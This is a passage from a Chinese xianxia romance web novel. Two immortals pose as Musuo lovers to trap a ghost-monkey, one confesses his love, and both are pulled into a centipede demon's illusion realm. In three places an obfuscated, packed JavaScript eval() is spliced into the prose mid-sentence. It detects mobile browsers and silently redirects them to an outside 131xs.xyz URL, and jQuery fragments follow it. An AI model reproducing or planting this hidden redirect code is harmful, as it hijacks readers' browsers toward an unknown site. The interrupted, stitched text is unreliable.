时妙原嘴上哼哼唧唧,脸上的笑意根本就遮掩不住。他既吃到了心心念念的烤地瓜,又从荣观真那个白拿了支簪子,方才那点怒气,自然早就被抛到九霄云外去了。 他摸着簪子乐不可支地说:“我要给它起名叫红瑙金枝!” “你叫它飞天旋转大菠萝我也没意见。” 时妙原喜滋滋地坐到了荣观真身边,他问:“这东西是专门给我的,还是每个人都有?” 可能是因为篝火太旺,他说这话时总感觉自己的脸烫烫的。 荣观真头也不抬:“目前为止就做了这个。” “哦哦……” “毕竟我不像你,我没那么多朋友,也不会慷慨到见人就送黄金。” 时妙原瞪了他一眼:“你是为了找机会羞辱我,才给我送礼物的吗?” “当然不是,我不是说了这是给你的答谢么?” “我才不信!你肯定有别的坏心思!” “好吧,那就是因为我喜欢你。” “噗——!!!!” 时妙原差点儿一屁股摔到篝火里面,他堪堪稳住身子,狼狈而又颤抖地问:“你你你,你说什么胡话呢?!” “这不是你最爱说的话么,怎么轮到我讲你就紧张成了这样?”荣观真嗤笑道,“当初不是你说的吗?你说我不舍得吃你给我的杏子是因为喜欢你,我种了那棵杏树就是为了思念你,那现在我都专门给你做这么贵重的东西了,按你的话说我不得这辈子就认定你了啊?” “你,你……你纯是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“所以,大致情况就是,近日来周边许多村子都传出了鬼魈伤人的事情,金云村虽然还未受到波及,但也有人听到了不少风声。”时妙原若有所思道,“但你确定是鬼魈吗?寻常人不一定见过它们,或许是认错了呢。” 施浴霞弯腰与阿思交谈了些什么,她道:“阿思说那东西的脸是红的,远远看有人形,走起路来摇摇晃晃,还会吃人伤人,和鬼魈的模样确实很是接近。她的孙女朱姆已经连着好几天在窗户下面发现了脚印,昨天夜里她甚至在窗口看到了影子。依辛说他会保护她,可这种事毕竟谁也说不准。” “朱姆和依辛就是那边那两位吧?”时妙原指着远处载歌载舞的青年男女说,“他们是一对儿?” “对。按木梭族的土话讲,朱姆是依辛的‘阿夏’。” 时妙原将两根食指竖起贴在了一起,他问阿思奶奶:“那他们亲亲?” 阿思奶奶笑着点了点头。 “那看来和传言很接近了。不过真奇怪啊,我还是第一次见到对男女之事感兴趣的鬼魈。”时妙原挠头道,“我之前光听说它们爱吃人肉,没想到还产出些七情六欲来了。如果朱姆和依辛会有危险的话,那我们应当怎么帮他们才好?” “这还不简单吗?你和荣叔,你俩睡一觉不就行了。”施浴霞说。 “啥意思?”时妙原震惊地张大了嘴巴,“你说啥?睡,睡觉?” “对呀,这不是最直接了当的方法么?” 施浴霞露出了志在必得的表情:“你们看,只要你和荣叔扮成走婚的情人行房中事,等到引鬼魈过来了,再把它们一举击杀不就可以了!反正你俩法力高强……总不至于被这种小妖精给难住吧?” 58.乌鸟不鸣 (一) 荒谬,荒谬!真是太他爷爷的荒谬了! 时妙原活了大几辈子,从来没想到有朝一日自己脑袋里还会蹦出“不合规矩”这四个字。 他?和荣观真? 走婚? 情人? 行房事!?!? 他震惊地望向施浴霞:这家伙看着明明还挺像个小神仙的样子,为什么会了解这么多人间的文化秘辛?她知道自己刚刚说了什么吗?他倒是无所谓,但荣观真听了不发火才怪吧! 施浴霞并没有察觉到他的惊愕,她以拳击掌道:“只要你和荣叔扮成走婚人行房中之事,等到引鬼魈过来了,再把它们杀掉就好了。怎么样,这个法子是不是万无一失?” “万无一失个锤子,从上到下简直全部都是窟窿!”时妙原赶忙摆手阻止,“我觉得这样根本就不……” “确实,换谁来都有危险,我们的确是最适合的人选。”荣观真沉吟道,“若是由我俩来伪装的话,那就由我来扮成依辛好了。” “那感情好,那时妙原,你就是朱姆了。”施浴霞指着时妙原说,“等下找人给你打扮一下,就可以到花楼里去等了。你俩记得提前对好暗号,我就在附近蹲点等鬼魈来,做戏做全套,见了面记得在床上多躺一会儿。你要是不介意的话也可以脱两件衣服,你介意吗?我感觉你不会。” 时妙原惊掉了下巴。 施浴霞迅速与阿思奶奶讲起了他们的计划,荣观真整个人看起来十分云淡风轻。篝火旁的舞会终于走到了尾声,当木梭族的青年们几乎走光之后,时妙原脑子里就只剩下了五个惊天动地的大字: 老天,恶俗啊! 银饰哗啦作响,他捂住脸重重地躺到了床上。 他所在的地方是花楼,木梭族青年幽会的场所。 他披着朱姆的衣服,戴着朱姆的首饰,穿着朱姆的袜子,还踩了双朱姆平日里会穿的拖鞋。如果不看脸的话,她整个人看起来几乎和木梭族少女没有任何区别。朱姆本人听说他们的计划后十分担心时妙原的安危,然而比起妖怪,更让时妙原害怕的其实是来自神的威胁。 “绝对不能让闻音知道……她要是听说了这事儿绝对会把我的毛都拔光……”他近乎绝望地喃喃道,“可是我之后我要怎么跟她交代?就说我睡了她儿子?她儿子被迫睡了我?不对,不对,应该不至于真的真刀真枪地干吧……!” 都是假的,都是假的!他不断在内心默念:都是假的,都是逢场作戏!他们只是为了抓住鬼魈,这一切就只是做做样子而已!施浴霞根本就不懂情爱,荣闻音就算知道了也一定能理解他的苦衷,荣观真自己都是从树枝杈子里蹦出来的肯定也对此一窍不通!退一万步来说他明明还有心上人,以他对荣观真的了解,他绝对不至于真的和他…… 咚咚咚。 门被敲响了三下。 然后又是三下,三下,再两下。 这是他和荣观真定下的暗号——时妙原的心立马提到了嗓子眼。 他翻身坐到床边,强装镇定喊道:“依辛?是你吗?” “是我,朱姆。”那人隔着门答道,“我来了。我可以进来么?” 是他要等的人。时妙原紧张地咽了口唾沫:“门没上锁,你进来吧。” 门被轻轻推开,而后吱呀关上。有人走到床边,在他面前站定了。 时妙原唯唯诺诺地低着头,故而他的视野范围内就只有那人绣满花纹的衣摆。等到他终于鼓起勇气仰起脸来,就见到荣观真穿着纯黑的修身短袍,对他笑了一下。 “银色也很适合你。”他指着时妙原身上的木梭风格首饰说。 月光洒进屋内,窗外树影婆娑。时妙原有片刻的失神,只因眼前人的打扮为他带来了不小的震撼。从前他只见荣观真穿过青白两色的剑士服,这件临时被征用过来的黑袍,竟为他衬出了一种别样的异域气质。 时妙原还在恍惚,荣观真直接他身边坐了下来。他耳朵上的银丝吊坠发出了一阵清脆的响声,这也是木梭族男子常有的打扮。 “给你。”他将一支盛放的水杨花放到他膝上,“这还是依辛告诉我的,他说木梭族人通常会在与情人幽会时带上一支鲜花,这本来是他为朱姆准备的礼物,现在就先借给我了。” 水杨花气味清芬,这让时妙原身上的局促感减轻了许多。他手里捏着花,故作轻松地荣观真道:“所以,哈哈,我们现在应该做什么?” “等。但光这样干坐着恐怕不行。”荣观真环视四周一圈,果断下了结论:“鬼魈脑子聪明,不会轻易中计。我们得做点什么把它们引过来。” “那你的意思是?” “先躺下吧。” 荣观真将外套脱下叠好放在枕边,他见时妙原还在犹豫,干脆抬手帮他取下了头上沉重的银饰。 “我送你的簪子就先不取了吧。”他便为时妙原打理头发边说,“等下要是打起来,弄丢了就不太好了……你为什么一直在抖?你很害怕吗?” “我我我……我怕冷。”时妙原开始信口胡诌,“而且我怕黑,这里太太太黑了,哈哈。” 其实他一点也不冷,月圆之夜的晚上室内也光线也十分敞亮。荣观真稍作思考,躺下将时妙原揽进了怀里。然后他扯来被子盖在两人身上,还贴心地帮他掖好了被角。 “这样子看起来可能会更像情人一点。”他问,“你现在还冷么?” 老子快热炸了。时妙原想。 他连一个字都说不出来。 他是想说点什么的,但那些稀里糊涂的字句尚未来得及成形,就全化作了扑通扑通好似要将他的胸膛撕裂的心跳。 荣观真的语气看似平静,但他搭在被子上的手也肉眼可见地有些发抖。 时妙原意识到,现在正兵荒马乱的其实不止他一个人而已。 他说:“阿真,我……我看要不我们还是……” “那天和你分别之后,我想了很多很多事情。”荣观真突然说道,“你在聆辰台对我说的话,我觉得我全部都听进去了。” “哎?”时妙原抬头问他,“你指的是?” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247573|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,我应该承担山神的责任,还说我可以找到一条适合自己的道路,我想了想,我觉得你说的都十分有道理。”荣观真抿了抿嘴唇,“在遇见你之前,我一直拒绝与外界产生往来,因为我觉得只要能安然避世就可以逃掉很多麻烦。我不喜欢和人打交道,不愿意坐在庙堂里听那些乌七八糟的请求,但是你和我娘说的话给了我启发。你们让我知道,如果我想要获得真正的安宁,那我就不可避免地要承担一些东西。” “我……”时妙原一时有些语塞,“也还好吧,我只是随口说了两句而已。” “对你来说可能只是随意点拨,但对我而言意义十分重大。”荣观真看着他的眼睛说:“白天刚见面的时候,我最开始其实是想先和你道谢的。谢谢你,时妙原,如果没有你,我可能并不会成为人们口中值得信赖的护法,你自然也就听不见那些所谓的……我四处除暴安良的传说了。” “哈哈,那你这话说的,这不也是你自己悟性高么?” 时妙原本来还有些羞愧,一听见荣观真道谢便不免飘飘然了起来:“哎哟啊,其实呢阿真,你实在不必和我这么见外!我和你母亲是至交好友,你的问题当然也都是我的问题!我跟你说啊,你这从今往后,若有是什么苦恼困惑都可以来找我,我这几万岁可不是白活的,不论遇到什么麻烦我肯定都能给你说道清楚!你要是做山神做不明白,我也可以给你提供提供帮助呀!哈哈哈哈!” 荣观真如释重负地笑了:“是吗?那太好了。我还以为你并不想见到我呢。” “你这叫什么话呀?我每天想见你还来不及呢!” “不过,我并不只想做和你互帮互助的朋友。” “啊?” 荣观真缓缓起身,他的阴影将时妙原整个笼在了身下。 一缕黑发落在他的耳边,它们的主人离他也不过咫尺之遥。 温热的呼吸扑打在这方寸之间,时妙原又听到了那阵几欲破体而出的心跳。某种他曾料想过、却不敢真切地去考量的可能涌上他的脑海,就在这时他突然意识到: 荣观真现在,确实已经不是从前那个性格毛毛糙糙的孩子了。 他说:“时妙原,我想要和你更进一步。” 时妙原下意识往后缩去:“你,你是什么意思?更进一步是什么意思,阿真我不懂,你别乱说话,我……” “我说我有喜欢的人,你就没有好奇过他是谁么?”荣观真问。 “就……喜鹊呗?哈哈。你不是喜欢鸟妖么?我跟你说,鸟妖确实是很可爱的。小鸟啊都毛茸茸的,喜鹊的话肚皮身上还有白毛!不像我们这种乌漆嘛黑的,人家看了就嫌晦气,飞到哪都容易被赶……” 那个“走”字还没说出来,时妙原便突然闭上了嘴巴。 因为荣观真捧住他的侧脸,用拇指轻轻按了按他的嘴唇。 “确实很可爱,也确实是毛茸茸的。”荣观真垂眸道,“就是话有点多,也没喜鹊那么讨人喜欢。我问了我身边几乎所有人,他们都说像我这样会爱上乌鸦的确实算是少数。” 59.乌鸟不鸣 (二) “我问了我身边几乎所有人,他们都说像我这样会爱上乌鸦的确实算是少数。” 荣观真平静地说:“也有人好奇我喜欢的是谁,我就告诉他们,那是一只从太阳里飞出来的鸟。” “你……” 时妙原彻底失语。 刚与荣观真重逢时,他其实就有了一种模模糊糊的预感。 荣观真变得实在是太多了,但一开始时妙原只将这一切归结于年龄的增长。他并没有往深处想,因为他不擅长处理过于亲密的感情。 那是他从来没思考过的问题——也是他从来不敢去仔细思考的事情。 荣观真定定地看着时妙原。他的眼神略有闪烁,但是一直没有从他脸上移开。 “你就没什么想对我说的吗?”他轻声问道,“在过去的这一千年里,我每天都在心里盘算要对你说的话。” “我……我不知道该说什么。”时妙原嗫嚅道,“我不明白。” “哦,那可能因为是我讲得不够清楚吧。那我干脆直接一点好了,时妙原,我对你……” “你快别往下说了!” 时妙原惊恐地捂住了他的嘴巴:“这,这不是你该对我说的话,我们之间的差别太大了!你对我一点儿也不了解,真正的我和你所看到的我根本就不一样!” 荣观真反握住他的手:“那你告诉我,真正的你是怎样的?” “这……这件事情说起来有点复杂,但总之我们是不可能有结果的!”时妙原焦急地说,“如果你有那种想法的话,我劝你还是趁早放弃好了!” “为什么?你是对我不感兴趣,不想与我深交,觉得我不符合你的期许,还是已经有心上人了?你总得给我个理由。” 说到“心上人”三个字的时候,荣观真的语气有一丝明显的烦躁。 时妙原连连摇头:“不是,都不是!你就当我没法儿给你回应好了。” 荣观真立刻断言:“那你就是不喜欢我了。你对我没有想法,你还是把我当成小孩,你不理解为什么会有人只见了你两面就对你死心塌地,你不喜欢我,所以你才会在我面前如此口无遮拦。因为你就没有料想过我会对你有意,或者说你想到过,但是你不在乎。我说得对吗?” 时妙原闭上眼睛大喊:“我没有!” “那你告诉我,你对我究竟是什么想法?”荣观真逼问道,“有没有意,是或者不!我不是那种死缠烂打的人,你现在摇头,我立马就可以离开。” “你走了谁来杀鬼魈?” “区区鬼魈能难得倒你吗?我看你只是不想给我个准话而已。” “你别曲解我的意思!我,我还要拿金顶枝的好吗!不对,重点不是这个!” 时妙原崩溃大叫:“你一直在问我要答案要答案,我能说什么好呢?我我我,我现在根本没法儿回答你!” “现在没法回答,那以后呢?” “以后的事情当然以后再说啊!你这小孩怎么这么不讲道理啊?你从前一直是这样的吗?你是不是但凡爱上谁,都要逼得他和你在一起才行?!” “我没爱上过别人。”荣观真平静地说,“你是唯一一个。” 时妙原发出了一声绝望的呜咽:“我看我是最倒霉的那个吧……” “我喜欢你,时妙原。” “你……” “方才你不让我说,但我觉得我有必要告诉你我的想法。我喜欢你。你可能会觉得我突然对你表露心意有些唐突,你当我幼稚也好,没见过世面也罢,但是我从见你第一眼开始就忘不了你了。” 荣观真严肃地说:“那时候我还小,不知道为什么一个只有一面之缘的大人会让我每日牵肠挂肚。后来我种下了杏树,每回给它浇水的时候我都在想象你站在那棵树下的样子。上回在司山海宴见到你我很开心,那之后我也想天天见到你。我修炼的时候想的是你,杀妖的时候想的是你,我不论做什么都会想到你。我知道我应该再多等一等的,但是我真的不想再和你道别了,我想每时每刻都和你在一起。当然,你大可以把我赶走或者躲着我,一切的选择权在你。” 他一口气说完,甚至有点喘。见老半天没得到回应,他问:“你为什么不说话了?” “……” 时妙原颤抖着捂住了脸:“你把话都讲完了,我还能讲什么……” “是吗?你的耳朵好红。”荣观真探头探脑地问,“你害羞了?” “没有!”时妙原唰地把被子蒙到了头上。 “我刚才说的话,你都听清楚了吗?” “没有!没有!全部都没有!你说了什么我不知道!我刚才只听见小狗在叫!” “这样啊?那也行。没听见的话我就再说一遍好了。” “别!爹!千万别!”时妙原立刻惨叫出声,“我求求你了,你不要再说那种话了!你要是不想我现在立刻原地死了你就马上闭嘴!我听进去了听进去了两只耳朵全部都听得一清二楚啊!!!” “听进去了就好。”荣观真隔着被子抱住了他,“我知道你对我也有意思。” 被子里那团羞于见人的大型物体像兔子似的抖了一下。 荣观真察觉到他的反应,颇有些得意地说:“你别想着瞒我。我只是年龄比你小一些,我可能见的世面没你多,但我可不是瞎子。你知道你每次看我的时候都是什么表情吗?你那眼神跟黄鼠狼见了鸡也没什么两样了。” 时妙原隔着被子拳打脚踢了起来。 “疼,疼!别踢了!小心崴着脚!”荣观真嘴上嗷嗷大叫,手上还是把他更抱紧了些,他的力气极大,时妙原几乎是立刻就踢打不动了,但还是在呼哧呼哧地喘着粗气。 不用掀被子看都知道,这鸟现在应该已经气冒了烟。 过了好一会儿,等到时妙原不再有大动作了,荣观真摸摸索索地凑到大约是他耳朵的地方,低声问道:“时妙原,你再给我一点时间好不好?你说我不了解你,那我想等了解清楚了,再把上面的话对你说一次。可以吗?” “……” “你怎么不说话?你不会是被闷死了吧?” “……” “喂,你还在吗?金乌大人?时妙原?妙妙?妙原?哥……” “我要咬死你!” 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时妙原再度崩溃,他看荣观真竟还在笑气不过,拿竹枕头打他头:“叫你笑!叫你笑!不准笑了!你这个成天不学好的小混蛋!!!” “哎哟疼!哎哟嘶……这竹枕头吗?怎么还夹头发的?!好了你别打了!别给人家东西弄坏了!我不说了,我不说了可以吧!!” “不说我也要打!真是反了天了你了!你过来!你别躲!” 咚咚咚! 两人的动作一滞。 “有人敲门。”时妙原立马压低了声线,“是小霞吗?” “感觉不是她。”荣观真扭头望向门口,“她在附近值守,不出意外不会过来。” 见屋内无人应答,那人又敲了三下门。然后是三下,再两下。 紧接着,他用木梭族的土话高声唤道:“朱姆,是我!我是依辛,你快给我开门吧!” “他说他是依辛?”荣观真对时妙原使了个眼色,后者当即推他下床:“是鬼魈来了!快躲起来,别让它发现!等我指令再动手,不要轻举妄动,知道吗?” 时妙原迅速理好衣服和床褥,又用被子遮住了小半张脸。待到荣观真躲到木柜之中后,他掐着嗓子喊道:“进来吧!门没锁!” 木门应声而开,一个高挑的人影踏进花楼,晃晃悠悠地朝他走了过来。 那“人”的衣袖宽大,身材瘦削干巴,头上顶着一顶破烂的披风,整张脸都被掩盖在了布料之下。它进门时,带来了一股难以形容的土腥烂肉味,不用想,这绝对不可能是人类。 腥臭味逐渐浓郁,时妙原听见了剑柄被攥紧的声音。那东西摇摇晃晃地走到他床边。它在时妙原身边站定了一会儿,然后,它突然开口唤道:“娘子。是你在这吗?你让我好找。” 什么情况?时妙原心里咯噔了一下: 这玩意儿怎么会讲官话? 鬼魈通常由身死山中者的怨气凝结而成,而他身边这位……听它的口音,它生前难道是中原人吗? 60.乌鸟不鸣 (三) “娘子,我来寻你了。” 那鬼魈的声音柔和,听着不像吃人的怪物,而更接近温文尔雅的书生。它摇摇摆摆地弯下腰去,带着股莫名的委屈扒在了床边上,时妙原纹丝不动,而它哀愁不已。 “我想你想得好苦……”它在时妙原耳边轻叹道,“自从你离我而去,我每日都在期盼能与你重逢。你莫要再与我分离,你看看我,娘子,你为何不愿正眼瞧我?” 说着,它伸出枯瘦的手,作势就要抚上他的脸颊。 时妙原立刻以被捂脸。他娇羞地说:“你走开,我不给你看。” “娘子?” “我一人独守空闺,许久不见你来,今儿个咱们再会,你连招呼也不打那么一声,就猴急地要上来。我是你正儿八经娶来的妻子,你倒好,把我当什么人了?” 时妙原一通数落,直令那鬼魈无言以对,它似乎是真在反思自己的错误,而与此同时,木柜门被轻轻推开了半边。 借助屋内的月光,时妙原看到了荣观真怒不可遏的表情。 他心思一动,又状似柔弱地叹道:“不过,你若是肯为我做件事情,我也并非不能让你上来。” “哦?”鬼魈登时兴奋了起来,“娘子请说!” “把你那披风脱了,让我看看你的脸。多日不见,我对你甚是想念。” 对方顿了一顿。 “怎么?”时妙原将声音抬高了几个度,“你不愿意?” “不……不是我不愿意……”那鬼魈唯唯诺诺地说,“是我不能啊。” “你我结发夫妻,怎的连模样都不方便给我瞧?” “我怕吓着你。”它柔声道,“我长得丑陋,不像娘子,虽不显山露水,但也……真真是貌美如花。” 是吗?时妙原往鬼魈背后瞥了一眼。依他看,真真现在是快被气死了才差不多。 他转而循循善诱:“哎哟,这话说的,我还能不知道你长什么模样么?来嘛,给我瞧瞧吧,高低也没什么坏处。” 那鬼魈沉默良久,还是缓缓摇了摇头。它伸手就要拽时妙原脸上的被子,被他躲开了:“这真不得行。” “娘子,你为何一直避我?”对方的身体开始咔咔作响,腥臭味更甚,而它的声音也产生了一丝失真。时妙原料想它大概是装不下去了,便勾勾手道:“我会这么做是有缘由的,你想听么?” “想……” “那耳朵给我。” 那鬼魈满心欢喜地凑了上前来,它只听时妙原柔声道:“我不能给你瞧我的脸,是有原因的。那是因为……我家男人他特别爱吃醋!” 他掀开被子大吼道:“荣观真,给我干他!” 话音刚落,荣观真一脚踹开柜门,挥剑朝鬼魈的脑袋劈了下去。鬼魈矮身一让,它原先所在的地方霎时现了一道焦黑的剑痕。花楼内火光大盛,而那火竟来自荣观真所持的剑——时妙原爬起来一看:好家伙,他竟然用了三度厄!这小子之前那么大义凛然生,没想到现在居然对只猴子起了杀心! 那鬼魈反应过来,凄厉大叫道:“娘子,你为何如此待我!!!” “谁是你娘子?!你再鬼叫一句试试看呢!!!” 荣观真一声怒吼,挽起三度厄向它的头颅刺了过去。三度厄剑身流光溢彩,这还是时妙原第一次亲眼见到神剑出鞘的奇景,有驱邪之力的神火在屋内划出无数道光痕,纵使那鬼魈身形再怎么灵活,还是不免沾到了火星。 刷!只眨眼之间,它头上的披风就被烧了个精光——它的确是一只红面鬼魈,只是它的血肉已被吸干,鲜红的皮和骨头紧贴在了一起。而在它的脑门上,正趴着一只张牙舞爪、通体金黄,有百足千爪之多的蜈蚣。那蜈蚣脚上密布的刺毛深扎在鬼魈头上,只一动起,就仿佛无数柔软飘摇的花蕊。 它见自己暴露,立刻尖叫一声,松开鬼魈的脑袋向荣观真扑了过去! 时妙原当即惊呼:“不好!快让开!这是金顶枝!!!” 荣观真侧身躲过蜈蚣的突袭:“你管这玩意儿叫金顶枝?!是哪个缺德鬼给它起的名字!” “不知道!你快到我身边来!” 金顶枝唰唰唰释放出数十条软腿,将时妙原与荣观真团团围在了一起。屋内狂风大作,那风怎么听怎么像是有人在奸笑,鬼魈软绵绵地倒在了地上,它根本就只是被这怪物选中的宿主而已! 更多蜈蚣腿如箭矢般飞来,时妙原挥袖甩出刚羽将它们打掉,但他深知这只是杯水车薪:一旦被金顶枝盯上,不论是谁都免不了要被拖进他的领域。今天这幻境,他们是进也得进,不进也得进了! “你拿着这个!”时妙原往荣观真手里塞了片东西,后者一看:是片金光璀璨的羽毛。 “这是?!” “这是我的金羽,你等下入了金顶枝境切记跟它走!”时妙原抓着荣观真的手说,“金羽会带你离开那里,只要有它在你就不用担心出来以后会被情绪淹没,只要跟着金羽就没有任何东西能伤害到你!但是你要注意,这一路上你不论看见什么,都千万不要着了它的道!” “那你呢!”荣观真顶着狂风大喊道,“你自己怎么办!!!” “你问我?这玩意儿我还有好多呢!我不会有事,你放心好了!” 时妙原深吸数口气,双手结印化出一只飞鸟,冲破金顶枝的包围向窗外飞了过去。紧接着他回头抓住荣观真的肩膀,盯着他的眼睛一字一句地说:“荣观真,你记住!金顶枝境里的一切都是假的,都是不存在的!你可能会看到过去经历的事,见到已经死去的人,但是它绝对不会是现实存在的东西!不管你看到谁,就算是我,就算你看到了你娘!那也全都是它造出来骗你的!” 飓风更甚,蜈蚣腿们环绕的速度越来越快。金顶枝化作环形的炫光,带着几乎凝结成实体的怨气向包围圈中二人扑袭了过来。即便知道此时抵抗毫无用处,时妙原还是紧紧地抱住了荣观真,他咬紧牙关闭上眼睛,直到那咆哮的风终于渐渐平息—— 直到,他怀里已经没有了人。 时妙原睁开了眼睛。 他还维持着拥抱的动作,然而,现在他怀中,只有一树纷扬的落雨。 下雨了。 这里是香界宫。 “这……”时妙原微微瞪大了眼睛,“我怎么会来这里?” 这里是香界宫,山里正在下一场不大不小的雨。熟悉的台阶自他脚下向上蔓延,而在道路两旁,曾为他和此地生灵提供庇荫的树木,却已经全部枯萎了。 发生什么事了?时妙原左顾右盼,却连半个人影也没有见到。周围一片劫后余生之景,此处的景致和他印象中大致相同,但他总觉得这里和从前比起来有了些微妙的变化。 是因为他已经有一千年没来这儿了吗? 他拍拍身上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264205|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灰尘,又运气凝结出了一枚金羽。 “带我出去。”他对金羽说。 那羽毛在空中上下浮动两下,慢慢悠悠地往前方飘了过去。时妙原快步跟上,他无视身边断裂倒伏的树木,一心一心就只跟着金羽走。 “真有本事啊,居然知道让我看这个。”他自言自语道,“我还以为……我还以为会让我回十恶大败狱呢。” 他本以为金顶枝会让他看看扶桑树,或者干脆带他回他最恐惧的地方,没想到那鬼东西如此通人性……知道哪里才最出乎他的意料。 不知怎的,他的耳边浮现出了荣观真的声音: “在过去的这一千年里,我每天都在心里盘算要对你说的话。” 过去这一千年……过去这一千年。 时妙原搓搓脸,略有些自嘲地笑了出来。 金顶枝境能将人留在最眷恋的地方,而在过去这一千年里,他确实会时常想起在香界峰上度过的那个夜晚。 被拖入幻境其实在他的计划之内,倒不如说他是为了引金顶枝现世才有意以身入局,一切本来都进展得很顺利,只是,荣观真是计划中的那个意外。 荣观真,荣观真…… 等出去以后,他得跟他好好聊一聊。 小孩子嘛,感情来得快去得也快。大不了再躲个几千年,他不信荣观真到时候还会记得他。 雨突然停了,金羽的飞行速度陡然加快了许多。天阴阴的,空气中盈满了泥土的气息,时妙原吸吸鼻子,他闻到了血腥味。 有人受伤了? 这里是荣观真的家,还能有什么人在这里受伤? 思考间,他已经爬到了木屋门口。门上的匾额是他未见过的,那上面写着:寻香觅界。 门没有关严,两侧的石狮子上依稀有血,血迹一路向院内蔓延,金羽迫不及待地飞了进去,时妙原站在原地喊道:“荣观真!你在吗?” 无人应答。 “阿真?听得到我说话吗?” 有什么东西动了一下。 “你在家吗?” “……” 时妙原听见了一声微弱的呢喃。 那像是人声,但又很像破了风的号角。他想了想,推门走了进去。 进门后,迎接他的是一片轻盈的白雪。 那并非白雪,而是半枚惨白饱满的杏花。 杏花落在他的发间,它下落的轨迹似雪又似飘絮,缕缕花风轻拂,带来了一阵令人作呕的腥香。 时妙原呆在了原地。 有至少十几秒的时间,他根本动弹不得。 他眼前的不是刀山火海,也不是地狱亡灵,呈现在他眼前的是优雅朴素的小院,还有他曾行过踏过,时至今日也未曾变改的小桥和流水。 这里有落花菩提,也有满园春色。 天色灰败如雾,地上血流成河。 荣观真倒在杏树下,一支玉箭穿透了他的喉咙。白马在不远处抽搐,它的脖子上同样有一块惊心动魄的血洞。 杏花落地不到半秒,就被荣观真的血同化成了朱红。金羽落上他的鼻尖,他迷茫地仰起头来,两行赤红色的泪就这样流出了他血肉模糊的眼眶。 他张开嘴,发出的声音如砂石般粗粝。 “妙妙?”他沙哑地呼唤道,“是……是你吗?” “你终于……咳,你终于愿意来看我了?” 61.剑雨别 “阿真!!!!” 时妙原连滚带爬地跑到了荣观真身边。 荣观真浑身是伤。他双眼紧闭、血流不止,喉咙被正中洞穿,而作为罪魁祸首的玉箭死死地卡在他的脖子里。 他的指间沾满了灰尘和泥土,就好像他才从很远很远的地方赶回来一样。时妙原急得满头大汗,但他却不敢轻举妄动,到头来还是荣观真自己抬起手,用尽全身力气攥住了那支玉箭。 “嗬……嗬……呃……!”他抓着箭羽不断用力,可光凭他自己的力气怎样也没法把它给取出来。他每喘一口气,喉咙里就要涌出咕嘟咕嘟的响声,等到他好不容易将箭扯出一半,他的衣服都已经被鲜血染成了赤红。 “你不要乱动!”时妙原实在看不下去按住了他,“你先躺着别动!你……你……为什么会发生这种事……你怎么会……金羽!金羽!快点来救他!!!” 金羽应声而来。它爆发出一阵耀眼的辉光,如绒雪般的光点集束成流,淅淅沥沥地覆盖了荣观真的全身。羽流所接触到的地方纷纷开始愈合,玉箭也很快便散成了灰烬,恢复过程中荣观真缩在时妙原怀里不断地发抖,他的疼痛肉眼可见,可他却对此视若无睹。 他死死地抓着时妙原的手腕,就好像生怕他突然逃走了似的。 “是你吗,妙妙?是不是你?”荣观真在他身上哆哆嗦嗦地胡乱摸索道,“你终于愿意来看我了对不对?你终于……唔!” 金羽嗡嗡作响,很快荣观真身上的伤口便全部愈合了。他的眼睛不再流血,只是依旧睁不开来,时妙原握着他的手,他急切地问:“阿真,你感觉好点了吗?你还疼不疼?” “我还好,我,我的眼睛好像有些看不清楚……” “那还好,你别急,等我再用金羽给你看看……不对!” 时妙原突然反应过来,将荣观真猛地推了开来。 不对不对不对,这根本就不是荣观真! 这里是金顶枝境啊! 他内心一阵懊恼:这里分明是幻境,幻境里的一切都是假的!他一心为荣观真疗伤,居然一不留神中了那死蜈蚣的诡计! 他赶忙将金羽捞回手中:它比起最初时已经黯淡了许多,但好在还没有彻底熄灭。这些力量就足以支撑他离开幻境了,只是…… “荣观真”把自己蜷缩成了一团。 他仍在不断地发抖,似乎,身体的恢复并不能彻底扫清他的痛苦。 “……假的,全都是假的!”时妙原狠下心来准备离开,正当此时,荣观真突然伸手抓住了他的衣摆。 “你……你不要走……” 荣观真慢吞吞地爬到了他的脚边。他胡乱抓住他的袍子,沙哑又绝望地祈求道:“妙妙,我承认是我错了,你不要再生我的气了……我求求你……你不要再离开我了,好不好?” “你在说什么啊?”时妙原完全摸不着头脑,“我又怎么生你的气了?” “因为,因为我做错了事……”荣观真哆哆嗦嗦地说,“我做错了事,说错了话,我让你不开心了,你,所以,所以你不要我了……” “……” 时妙原内心五味杂陈。 这招实在是太出乎他的意料了,一定要说的话,甚至还有些狠毒。 在来到这里之前,他本以为金顶枝会带他回十恶大败狱,或者干脆直接让他重温被射堕时的痛苦,但他从来没有想过,它竟然会把荣观真给牵扯进来。 该说金顶枝不了解状况吗?一个才和他见过三面的人怎么可能让他产生眷恋之情。可话虽如此时妙原又不得不承认,如果这就是为了留下他而专门设计的阴谋的的话,那这死蜈蚣的确差一点就要得逞了。 荣观真的脸色惨白如纸,他匍匐在他脚下的姿态和平日里孤高的模样根本不可同日而语。时妙原自认见多识广,可面对这样的情景,即便是再铁石心肠的人也没法一走了之。 